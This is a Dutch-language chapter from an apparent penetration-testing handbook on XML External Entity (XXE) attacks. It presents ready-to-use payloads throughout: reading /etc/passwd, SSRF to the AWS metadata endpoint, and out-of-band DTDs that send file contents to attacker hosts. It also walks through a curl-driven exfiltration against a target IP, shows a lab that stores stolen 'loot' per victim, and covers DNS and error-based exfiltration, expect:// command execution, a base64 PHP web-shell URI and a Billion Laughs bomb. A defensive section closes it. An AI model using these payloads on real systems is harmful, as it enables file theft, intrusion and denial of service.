XML External Entities (XXE)
Er zijn in de geschiedenis van de informatica weinig momenten geweest waarop iemand zei: “Weet je wat we nodig hebben? Een manier om gegevens te beschrijven die zowel leesbaar is voor mensen als voor machines, die extensibel is, die een ingebouwd validatiemechanisme heeft, en die – oh ja – standaard de mogelijkheid biedt om willekeurige bestanden van de server te lezen.” Maar dat is precies wat er gebeurd is. En het heet XML.
XML, oftewel Extensible Markup Language, werd eind jaren negentig geboren uit de nobele ambitie om orde te scheppen in de chaos van dataformaten. Het was de Esperanto van de computerwereld: een universele taal die iedereen zou begrijpen en die alle communicatieproblemen tussen systemen zou oplossen. En net als Esperanto slaagde XML erin om tegelijkertijd ongelooflijk populair en ongelooflijk irritant te zijn.
Het idee was prachtig. In plaats van dat elk systeem zijn eigen formaat had – hier een CSV, daar een binair bestand, ginds een proprietary formaat dat alleen werkte op volle maan – zou iedereen dezelfde gestructureerde taal gebruiken. Ziekenhuizen, banken, overheden, webservices: allemaal XML. Het was alsof de Verenigde Naties besloten hadden dat alle landen voortaan hetzelfde formulier zouden gebruiken voor alles, van belastingaangifte tot hondenregistratie.
Wat de ontwerpers echter vergaten – of, vriendelijker geformuleerd, niet hadden voorzien – was dat ze in hun nobele standaard een functie hadden ingebouwd die het equivalent is van een sleutel die past op elk slot in het gebouw. Die functie heet external entities, en het is precies zo gevaarlijk als het klinkt.
De anatomie van XML: waarom dit ertoe doet
Voordat we dingen kapotmaken, moeten we begrijpen hoe ze werken. XML zelf is simpel genoeg. Je hebt tags, je hebt attributen, je hebt content:
<?xml version="1.0" encoding="UTF-8"?>
<boek>
<titel>Incompetent Bastards</titel>
<auteur>Iemand die beter zou moeten weten</auteur>
<paginas>veel te veel</paginas>
</boek>Tot zover niets schokkends. Het wordt interessant bij de DTD: de Document Type Definition. Een DTD is als een bibliotheekcatalogus die beschrijft hoe een document eruitziet, welke elementen het mag bevatten, en – cruciaal – waar het aanvullende informatie mag ophalen.
Stel je een bibliotheek voor. Een normale bibliotheekcatalogus vertelt je welke boeken er in die ene bibliotheek staan. Maar stel je nu voor dat de catalogus ook verwijzingen bevat naar boeken in elke andere bibliotheek ter wereld. En dat de bibliothecaris automatisch die boeken voor je ophaalt zonder te vragen of dat wel een goed idee is. Dat is wat een DTD met external entities doet.
Entities: de bouwstenen
Een entity in XML is in essentie een variabele. Je definieert hem in de DTD en gebruikt hem in het document:
<?xml version="1.0"?>
<!DOCTYPE notitie [
<!ENTITY bedrijf "Acme Corporation">
]>
<notitie>
<aan>Directie van &bedrijf;</aan>
<tekst>Uw beveiliging is een aanfluiting.</tekst>
</notitie>Dit is een internal entity. De waarde staat direct in de DTD. Onschuldig. Nuttig zelfs. Het is het XML-equivalent van een constante in een programmeertaal.
Maar dan is er de external entity. En hier begint het feest.
External entities: de sleutel tot het koninkrijk
Een external entity verwijst niet naar een waarde in de DTD zelf, maar naar een externe bron. Die bron kan een URL zijn, een bestand op de server, of eigenlijk alles wat het systeem kan benaderen:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY extern SYSTEM "http://example.com/geheim.txt">
]>
<data>&extern;</data>Het SYSTEM keyword vertelt de XML-parser: “Ga naar deze locatie, haal de inhoud op, en plak die hier in.” De parser doet dat zonder morren. Zonder te vragen of dit misschien een slecht idee is. Zonder te controleren of de gebruiker die dit XML-document aanlevert misschien kwaadaardige bedoelingen heeft.
Het is alsof je een medewerker hebt die elk verzoek opvolgt. “Kun je even het bestand met alle wachtwoorden ophalen?” Natuurlijk. “Kun je even verbinding maken met dat interne systeem?” Geen probleem. “Kun je even de inhoud van /etc/passwd naar mijn server sturen?” Met alle plezier.
Parameter entities: de gevorderde versie
Naast gewone entities bestaan er parameter entities. Die worden gedefinieerd met een procentteken en kunnen alleen binnen de DTD zelf worden gebruikt:
<!ENTITY % bestand SYSTEM "file:///etc/hostname">
<!ENTITY % wrapper "<!ENTITY inhoud '%bestand;'>">
%wrapper;Parameter entities zijn het Zwitsers zakmes van XXE-aanvallen. Ze stellen je in staat om complexe constructies te bouwen die de parser stap voor stap uitvoert, als een recept dat zichzelf kookt. Ze zijn essentieel voor de meer geavanceerde technieken die we verderop bespreken.
Basis XXE: bestanden lezen alsof het de normaalste zaak van de wereld is
De eenvoudigste XXE-aanval is tegelijkertijd de meest verbijsterende. Je stuurt een XML-document naar een server die XML accepteert, en je vraagt de parser vriendelijk om een bestand voor je te lezen:
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>Dat is het. Drie regels. De XML-parser leest
/etc/passwd, vervangt &xxe; door de inhoud
van dat bestand, en stuurt het resultaat terug in de response. Je hebt
zojuist een bestand gelezen van een server waar je geen shell-toegang
toe hebt. En het enige wat je nodig had, was een endpoint dat XML
accepteert.
Op Windows werkt het net zo, maar dan met andere bestanden:
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
<data>&xxe;</data>En het stopt niet bij lokale bestanden. Je kunt de parser ook vragen om HTTP- requests te doen:
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<data>&xxe;</data>Dat laatste is een SSRF via XXE – je laat de XML-parser een verzoek doen naar het AWS metadata-endpoint. Twee kwetsbaarheden voor de prijs van een. We behandelen SSRF uitgebreid in het volgende hoofdstuk, maar het is goed om te weten dat XXE en SSRF vaak hand in hand gaan, als twee onafscheidelijke vrienden die allebei slechte ideeen hebben.
IB – Het commando web_xxe_payloads in
de Command Library bevat kant-en-klare XXE payloads voor de meest
voorkomende scenario’s: basis file reading, Windows-varianten, SSRF via
XXE, Out-of-Band exfiltratie, CDATA wrapping, error-based XXE, en PHP
expect wrappers. Open het via het Commands dashboard of zoek op “xxe” in
de zoekbalk.
Wat web_xxe_payloads
je geeft
Het IB-commandobestand bevat een complete verzameling payloads die je direct kunt gebruiken:
# === Basis file lezen ===
<?xml version="1.0"?>
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
# === Windows ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">]>
# === SSRF via XXE ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
# === Out-of-Band (blind XXE) ===
# Externe DTD (host op aanvaller als evil.dtd):
# <!ENTITY % content SYSTEM "file:///etc/passwd">
# <!ENTITY % wrapper "<!ENTITY % exfil SYSTEM
# 'http://10.0.0.1/xxe?data=%content;'>">
# %wrapper; %exfil;
# Payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://10.0.0.1/evil.dtd">
%remote;
]>
<data>trigger</data>
# === CDATA wrapping (voor bestanden met XML-tekens) ===
# === Error-based XXE ===
# === PHP expect wrapper ===
<!DOCTYPE data [<!ENTITY xxe SYSTEM "expect://id">]>
Elke payload is een recept. De basis file read is het equivalent van een tosti-ijzer: simpel, effectief, moeilijk om verkeerd te gebruiken. De OOB-variant is meer een sousvide: complexer, maar onmisbaar voor situaties waarin de eenvoudige aanpak niet werkt.
Out-of-Band XXE: wanneer de server zijn mond houdt
De basis XXE-aanval werkt prachtig wanneer de server de inhoud van de entity teruggeeft in de response. Maar wat als dat niet gebeurt? Wat als de server de XML parst, het resultaat verwerkt, maar je nooit de waarde van je entity te zien krijgt?
Dit is blind XXE. En het is verrassend vaak de situatie in de praktijk. De applicatie gebruikt XML voor de input, maar de output is een JSON-response, een HTTP-statuscode, of simpelweg “OK”. De entity wordt wel opgelost – de parser haalt het bestand braaf op – maar de inhoud verdwijnt in het niets.
Hier komen Out-of-Band (OOB) technieken in het spel. Het concept is simpel: als de server de data niet naar jou stuurt, laat je de server de data naar een systeem sturen dat je wel controleert.
Hoe OOB XXE werkt
De truc is een combinatie van parameter entities en een externe DTD. Het gaat in drie stappen:
Stap 1: Je stuurt een XML-payload die verwijst naar een externe DTD op jouw server:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
%remote;
]>
<data>trigger</data>Stap 2: De parser haalt de externe DTD op. Die DTD bevat instructies om een bestand te lezen en de inhoud naar jouw server te sturen:
<!ENTITY % content SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY % exfil SYSTEM
'http://ATTACKER/receive?data=%content;'>">
%wrapper;
%exfil;Stap 3: De parser voert de DTD uit: leest het bestand, bouwt een URL met de inhoud, en maakt een request naar jouw server. Jij vangt de data op in je access log of een speciaal endpoint.
Het is als een Rube Goldberg-machine: omslachtig, maar het werkt. En het is elegant op een manier die alleen een penetratietester kan waarderen.
Het IB XXE Lab: jouw eigen OOB-infrastructuur
En hier wordt het praktisch. Incompetent Bastard heeft een volledig XXE-lab ingebouwd dat precies die OOB-infrastructuur biedt die je nodig hebt. Geen externe servers opzetten, geen makeshift oplossingen met netcat. Drie endpoints, kant en klaar.
De architectuur
Het XXE-lab bestaat uit drie routes in de xxe_bp
blueprint:
| Endpoint | Doel |
|---|---|
/xxe/yolo.dtd |
Genereert dynamisch een kwaadaardige DTD |
/xxe/froufrou |
Ontvangt en slaat geexfiltreerde data op |
/xxe/fout.dtd |
Genereert een DTD voor error-based exfiltratie |
Laten we elk endpoint in detail bekijken.
/xxe/yolo.dtd – De
DTD-generator
Dit endpoint genereert dynamisch een DTD op basis van twee parameters:
request– het bestand of de resource die je wilt lezen (bijv.file:///etc/passwd)callback– de URL van je IB-instantie (bijv.http://10.0.0.5:5000)
Wanneer je dit endpoint aanroept:
http://IB_SERVER:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://IB_SERVER:5000
Genereert het de volgende DTD:
<!ENTITY % ext SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % yolo SYSTEM
'http://IB_SERVER:5000/xxe/froufrou?naam=file___etc_passwd&hatseflats=%ext;'>">
%eval;
%yolo;Kijk goed naar wat hier gebeurt. Het is een cascade van parameter entities:
%ext;leest het bestand (file:///etc/passwd)%eval;bouwt een nieuwe entity die de inhoud van het bestand meestuurt als queryparameter naar hetfroufrou-endpoint%yolo;triggert het daadwerkelijke request
De naam yolo is niet per ongeluk gekozen. Het beschrijft
vrij accuraat de houding van een XML-parser die zonder na te denken
externe DTD’s uitvoert.
De bestandsnaam wordt opgeschoond door punten en slashes te
vervangen: file:///etc/passwd wordt
file___etc_passwd. Zo kun je later in het dashboard zien
welk bestand bij welke exfiltratie hoort.
/xxe/froufrou – De
datavanger
Als yolo.dtd de schutter is, is froufrou
het vangnet. Dit endpoint ontvangt de geexfiltreerde data en slaat het
op in het bestandssysteem:
raw/loot/{client_ip}/xxe/{bestandsnaam}.txt
De data wordt opgeslagen per IP-adres van het doelwit. Als er geen
bestandsnaam wordt meegegeven, gebruikt het endpoint een Unix-timestamp.
Alles wat binnenkomt, wordt netjes weggeschreven door de
schrijven() functie uit hacksec.py.
Na succesvolle ontvangst retourneert het endpoint een berichtje dat alleen Nederlanders en Douglas Adams-fans zullen waarderen: “Tot ziens en bedankt voor de Vis”.
/xxe/fout.dtd
– Error-based exfiltratie
Soms werkt OOB niet. Firewalls blokkeren uitgaand verkeer, of de parser weigert externe connecties te maken. Maar foutmeldingen? Die komen bijna altijd door.
Het fout.dtd-endpoint genereert een DTD die data laat
lekken via foutmeldingen:
http://IB_SERVER:5000/xxe/fout.dtd?resource=file:///etc/hostname
Dit produceert:
<!ENTITY % ext SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%ext;'>">
%eval;
%error;De truc: het leest het bestand in %ext;, en probeert dan
een tweede bestand te openen waarvan het pad de inhoud van het
eerste bestand bevat. Dat tweede bestand bestaat natuurlijk niet
(file:///nonexistent/webserver01), dus de parser gooit een
foutmelding. En in die foutmelding staat de hostname van de server.
Het is alsof je iemand vraagt een boek te halen uit schap “het-geheime- wachtwoord-is-Sansen42” en hij vervolgens hardop roept: “Ik kan schap het-geheime-wachtwoord-is-Sansen42 niet vinden!” Bedankt, dat was precies de informatie die ik nodig had.
Walkthrough: van payload tot data
Laten we het hele proces doorlopen, stap voor stap.
Uitgangspunt: Je hebt een webapplicatie gevonden die
XML accepteert (een SOAP endpoint, een XML-API, een bestandsupload die
XML parst). IB draait op 10.0.0.5:5000. Het doelwit is
10.0.0.100.
Stap 1: De payload voorbereiden
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM
"http://10.0.0.5:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://10.0.0.5:5000">
%remote;
]>
<data>trigger</data>Stap 2: De payload versturen
Stuur deze XML naar het kwetsbare endpoint. De server parst de XML en haalt de DTD op van jouw IB-instantie.
curl -X POST http://10.0.0.100/api/upload \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM
"http://10.0.0.5:5000/xxe/yolo.dtd?request=file:///etc/passwd&callback=http://10.0.0.5:5000">
%remote;
]>
<data>trigger</data>'Stap 3: IB vangt de data
De XML-parser op het doelwit: 1. Haalt yolo.dtd op van
10.0.0.5:5000 2. Voert de DTD uit: leest
/etc/passwd 3. Stuurt de inhoud naar
10.0.0.5:5000/xxe/froufrou
IB slaat de data op in:
raw/loot/10.0.0.100/xxe/file___etc_passwd.txt
Stap 4: Data bekijken
Open het IB-dashboard. Onder de loot-sectie vind je de geexfiltreerde bestanden, netjes gesorteerd per doelwit-IP en bestandsnaam.
IB – Wanneer je meerdere bestanden wilt exfiltreren,
wijzig je simpelweg de request-parameter in de payload. De
bestandsnaam in het loot-pad verandert automatisch mee, zodat je een
overzichtelijke verzameling opbouwt. Begin met /etc/passwd
en /etc/hostname om te bevestigen dat de aanval werkt, en
breid daarna uit naar configuratiebestanden en applicatiecode.
IB – Voor error-based exfiltratie vervang je
yolo.dtd door fout.dtd en request
door resource. De data verschijnt dan in de foutmelding van
de applicatie in plaats van als callback naar het froufrou-endpoint. Dit
werkt ook wanneer uitgaand verkeer geblokkeerd is.
Error-based XXE: data laten lekken via foutmeldingen
We hebben het fout.dtd-endpoint al gezien, maar
error-based XXE verdient een bredere bespreking. Het principe is
universeler dan alleen het IB-lab.
Het idee is simpel: XML-parsers zijn praatgraag als er iets misgaat. Ze vertellen je precies wat er fout ging, inclusief de waarden die ze probeerden te gebruiken. Als je ervoor zorgt dat de data die je wilt stelen onderdeel wordt van die foutmelding, heb je een exfiltratie-kanaal.
Er zijn verschillende varianten:
Niet-bestaand bestand
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///does/not/exist/%file;'>">
%eval;
%error;Foutmelding:
failed to load external entity "file:///does/not/exist/webserver01"
Ongeldige URL
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'http://invalid/%file;'>">
%eval;
%error;DTD-validatiefout
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % error SYSTEM '%file;///'>">
%eval;
%error;De kunst is om een constructie te vinden die een informatieve foutmelding produceert op de specifieke parser die je doelwit gebruikt. Niet alle parsers zijn even spraakzaam. Sommige geven je de volledige waarde, andere censureren na een bepaald aantal karakters, en weer andere geven je alleen “parsing error” zonder verdere details. Dat laatste type is overigens het enige type dat zich correct gedraagt, wat iets zegt over de rest.
XXE via bestandsformaten: het paard van Troje
XML verbergt zich op plaatsen waar je het niet verwacht. Of beter
gezegd: op plaatsen waar ontwikkelaars het niet verwachten. Want voor
een aanvaller is het de normaalste zaak van de wereld om een
SVG-afbeelding te uploaden die stiekem /etc/shadow
leest.
SVG – Scalable Vector Graphics
SVG is XML. Dat weten de meeste mensen niet, inclusief de meeste ontwikkelaars die SVG-uploads accepteren. Een SVG-bestand met een XXE-payload:
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="40" font-size="16">&xxe;</text>
</svg>Upload dit als profielfoto, en als de server de SVG rendert of de inhoud toont, zie je de hostname van de server in je avatar. Het is het digitale equivalent van een naambordje dat per ongeluk het WiFi-wachtwoord toont.
DOCX en XLSX – Microsoft Office-formaten
Office-documenten zijn ZIP-bestanden met XML erin. Een DOCX bevat
onder andere word/document.xml, en een XLSX bevat
xl/sharedStrings.xml. Je kunt deze bestanden uitpakken, de
XML modificeren met een XXE-payload, en weer inpakken:
# DOCX uitpakken
mkdir evil_doc && cd evil_doc
unzip ../template.docx
# XXE payload injecteren in word/document.xml
# Voeg DOCTYPE en entity toe aan de XML
# Opnieuw inpakken
zip -r ../evil.docx .Dit werkt wanneer de server het document parst – bijvoorbeeld voor preview- generatie, indexering, of conversie. En ja, verrassend veel applicaties doen dat.
Sommige PDF-generators accepteren XML als invoer (XSL-FO, HTML-naar-PDF met XML-input). Als de onderliggende XML-parser external entities toestaat, kun je via een schijnbaar onschuldige PDF-generatie bestanden lezen van de server.
IB – Test altijd elk upload-endpoint dat
bestandsformaten accepteert. SVG, DOCX, XLSX, XML configuratiebestanden
– allemaal potentiele XXE-vectoren. De
web_xxe_payloads-command bevat een herinnering: “Test op
XML-accepting endpoints: SOAP, SVG upload, DOCX/XLSX, RSS.”
CDATA wrapping: als het bestand XML-tekens bevat
Er is een praktisch probleem met basis XXE. Als het bestand dat je probeert te lezen XML-achtige tekens bevat – ampersands, kleiner-dan-tekens, groter-dan- tekens – dan breekt de XML-parser. Het bestand wordt onderdeel van het XML- document, en die tekens worden geinterpreteerd als XML in plaats van als tekst.
De oplossing is CDATA-wrapping. Een
<![CDATA[...]]> sectie vertelt de parser: “Alles
hiertussen is platte tekst, niet XML.” Door de bestandsinhoud in CDATA
te wikkelen, vermijd je parsing-fouten.
Dit vereist een externe DTD, omdat je CDATA-secties niet kunt construeren met inline entities:
<!-- evil.dtd op je eigen server -->
<!ENTITY % file SYSTEM "file:///etc/fstab">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % wrapper "<!ENTITY all '%start;%file;%end;'>">
%wrapper;De payload:
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY % remote SYSTEM "http://ATTACKER/evil.dtd">
%remote;
]>
<data>&all;</data>Nu wordt de inhoud van /etc/fstab veilig ingepakt in
CDATA, en de parser struikelt niet over speciale tekens. Het is een
extra stap, maar een noodzakelijke.
Blind XXE via DNS: het subtielste kanaal
Soms is zelfs OOB via HTTP geblokkeerd. Firewalls filteren al het uitgaande verkeer behalve DNS. En DNS is bijna nooit geblokkeerd, want zonder DNS werkt vrijwel niets.
Je kunt DNS gebruiken als exfiltratiekanaal door de gestolen data onderdeel te maken van een DNS-lookup:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM
'http://%file;.attacker.com/'>">
%eval;
%exfil;Als de hostname webserver01 is, doet de parser een
DNS-lookup voor webserver01.attacker.com. Op jouw
authoritative DNS-server voor attacker.com zie je die query
binnenkomen. Data geexfiltreerd.
De beperking is de lengte: DNS-labels zijn maximaal 63 karakters, en een volledige domeinnaam maximaal 253. Je kunt dus geen groot bestand via DNS exfiltreren. Maar voor een hostname, een username, of een korte configuratie- waarde is het meer dan genoeg.
Het is het digitale equivalent van smokkelen via postduif: langzaam, beperkt in capaciteit, maar bijna onmogelijk te detecteren.
IB – Voor DNS-based exfiltratie heb je een domein
nodig waarvan je de DNS-server controleert. Tools als
interactsh van ProjectDiscovery bieden tijdelijke domeinen
voor precies dit doel. Combineer dit met IB door het domein te gebruiken
in je XXE-payloads en de DNS-logs te correleren met je
test-timestamps.
De XXE-aanvalsmatrix
Om het overzicht te bewaren, hier een samenvatting van wanneer je welke techniek gebruikt:
| Situatie | Techniek | IB Endpoint |
|---|---|---|
| Server reflecteert entity-waarde | Basis XXE (SYSTEM "file://...") |
– |
| Geen output, HTTP uitgaand mogelijk | OOB via externe DTD | /xxe/yolo.dtd + /xxe/froufrou |
| Geen output, HTTP geblokkeerd | Error-based XXE | /xxe/fout.dtd |
| Geen output, alleen DNS mogelijk | DNS exfiltratie | Extern DNS-domein |
| Bestand bevat XML-tekens | CDATA wrapping | Externe DTD |
| Upload-endpoint (niet direct XML) | XXE via SVG/DOCX/XLSX | Aangepast bestandsformaat |
PHP en XXE: een bijzondere relatie
PHP heeft een bijzondere band met XXE, en die band is niet gezond.
PHP’s simplexml_load_string() en DOMDocument
laadden tot relatief recent standaard external entities. En dan is er de
expect:// wrapper:
<!DOCTYPE data [<!ENTITY xxe SYSTEM "expect://id">]>
<data>&xxe;</data>De expect:// wrapper voert een systeemcommando uit en
retourneert de output. Van bestandslezen naar remote code execution in
een entity. Dit vereist dat de PHP expect-extensie is geinstalleerd, wat
niet standaard het geval is, maar je zou verbaasd zijn hoe vaak je het
tegenkomt op oudere systemen.
En dan zijn er de PHP-specifieke wrappers:
<!-- Base64-encoded bestandslezen (omzeilt XML-teken-problemen) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!-- Bestanden via data:// -->
<!ENTITY xxe SYSTEM "data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+">De php://filter wrapper is bijzonder nuttig: door een
bestand base64-encoded te lezen, omzeil je het probleem van XML-tekens
volledig. Geen CDATA-wrapping nodig, geen externe DTD, gewoon
base64-decode aan de ontvangende kant.
Billion Laughs: wanneer XML zichzelf opvreet
Dit is geen exfiltratietechniek, maar het verdient vermelding vanwege de pure elegantie van de destructie. De Billion Laughs attack (ook bekend als een XML-bom) misbruikt entity-expansie om exponentieel geheugen te verbruiken:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<data>&lol9;</data>Het XML-document is een paar honderd bytes. Maar wanneer de parser alle entities expandeert, groeit de tekst “lol” tot miljarden kopien. Een paar honderd bytes input, gigabytes aan geheugengebruik. De server gaat op zijn knieen.
Het heet “Billion Laughs” omdat de string “lol” miljarden keren wordt herhaald. Iemand bij de naamgevingscommissie had gevoel voor humor.
Verdediging: hoe je XML-parsers hun tanden trekt
Na al dit geweld is het tijd om te praten over hoe je jezelf beschermt. En het goede nieuws is: de verdediging tegen XXE is relatief eenvoudig. Het slechte nieuws is dat “eenvoudig” niet hetzelfde is als “wordt gedaan”.
Stap 1: Schakel DTD-processing uit
De meest effectieve verdediging is het volledig uitschakelen van DTD-processing. Geen DTD’s, geen entities, geen probleem:
Python (defusedxml):
import defusedxml.ElementTree as ET
# Veilig - blokkeert external entities en DTD's
tree = ET.parse('input.xml')De defusedxml bibliotheek is een drop-in replacement
voor Python’s standaard XML-bibliotheken die standaard alle gevaarlijke
features uitschakelt.
Python (lxml):
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
dtd_validation=False,
load_dtd=False
)
tree = etree.parse('input.xml', parser)Java:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);PHP:
// Sinds PHP 8.0 is dit de default, maar voor oudere versies:
libxml_disable_entity_loader(true);Stap 2: Gebruik geen XML als het niet hoeft
Dit klinkt als een open deur, maar het is verbazingwekkend hoe vaak XML wordt gebruikt terwijl JSON prima zou volstaan. JSON heeft geen entities, geen DTD’s, en geen external references. Het is saai, voorspelbaar, en veilig. Precies wat je wilt van een dataformaat.
Als je kunt kiezen tussen XML en JSON voor een nieuwe API, kies JSON. Als je XML moet ondersteunen voor backward compatibility, zorg dan dat de parser geconfigureerd is alsof XML een potentieel gevaarlijk dier is – want dat is het.
Stap 3: Valideer en sanitize
Als je XML moet accepteren:
- Blokkeer elk document dat een DOCTYPE-declaratie bevat
- Weiger documenten met SYSTEM of PUBLIC entities
- Beperk de entity-expansiediepte
- Stel een maximum in voor de grootte van geexpandeerde content (tegen Billion Laughs)
Stap 4: Netwerksegmentatie
Zelfs als een parser kwetsbaar is, beperkt netwerksegmentatie de impact. Als de webserver geen uitgaand verkeer mag initiëren (behalve naar specifieke backend-services), kan OOB-exfiltratie niet plaatsvinden. De parser leest misschien het bestand, maar de data komt nergens.
Dit is defense in depth: meerdere lagen beveiliging die elk op zich onvoldoende zijn, maar samen een solide verdediging vormen.
Het ongemakkelijke gesprek over XML-parsers
Laten we even eerlijk zijn. Het feit dat XML external entities standaard aanstaan in de meeste parsers is een van de meest absurde ontwerpbeslissingen in de geschiedenis van software. Het is alsof je een auto verkoopt waarvan de deuren standaard niet op slot gaan, en dan in de handleiding schrijft: “Vergeet niet de deuren op slot te doen.”
De XML-specificatie is van 1998. External entities waren een feature. Ze waren bedoeld voor documentbeheer in grote organisaties, voor het hergebruiken van tekst in technische documentatie, voor het modulair opbouwen van complexe XML- structuren. Nobele doelen, allemaal. Maar de mensen die de specificatie schreven, werkten in een wereld waarin XML-documenten afkomstig waren van vertrouwde bronnen. Interne systemen. Collega’s.
Ze hadden niet voorzien dat in 2026 elke willekeurige bezoeker van een website XML kan aanleveren aan een server. Ze hadden niet voorzien dat die XML zou worden geparsed door een component dat standaard alles vertrouwt. Ze hadden niet voorzien dat een feature bedoeld voor documentbeheer zou worden misbruikt om wachtwoordbestanden te stelen.
En toch, nu we het weten – al meer dan vijftien jaar – staan external entities nog steeds standaard aan in talloze parsers. De documentatie zegt “schakel dit uit in productie”. Ontwikkelaars lezen de documentatie niet. De parser functioneert prima zonder configuratie. Het XML-document wordt correct geparsed. De unittests slagen. En ergens op een server worden bestanden gelezen door iedereen die weet hoe je een DOCTYPE schrijft.
Het is de triomf van backwards compatibility over gezond verstand. Het is de reden waarom we penetratietesters nodig hebben. En het is de reden waarom dit hoofdstuk bestaat.
Samenvatting
XXE is een kwetsbaarheid die voortkomt uit vertrouwen – vertrouwen in de input, vertrouwen in de parser, vertrouwen in de standaardconfiguratie. Het is een herinnering dat features en kwetsbaarheden soms hetzelfde zijn, afhankelijk van wie de XML schrijft.
De verdediging is eenvoudig: schakel uit wat je niet nodig hebt. Vertrouw geen input. Configureer je parsers alsof elke XML die binnenkomt geschreven is door iemand die je kwaad wil doen. Want op een dag is dat zo.
Referenties
| Bron | URL |
|---|---|
| OWASP XXE Prevention Cheat Sheet | https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html |
| PortSwigger Web Security Academy – XXE | https://portswigger.net/web-security/xxe |
| PayloadsAllTheThings – XXE Injection | https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection |
| defusedxml (Python) | https://github.com/tiran/defusedxml |
| W3C XML 1.0 Specification | https://www.w3.org/TR/xml/ |
| Billion Laughs Attack | https://en.wikipedia.org/wiki/Billion_laughs_attack |
IB Command: web_xxe_payloads |
Command Library in het IB dashboard |
IB XXE Lab: xxe_bp blueprint |
meuk/flask/xxe.py |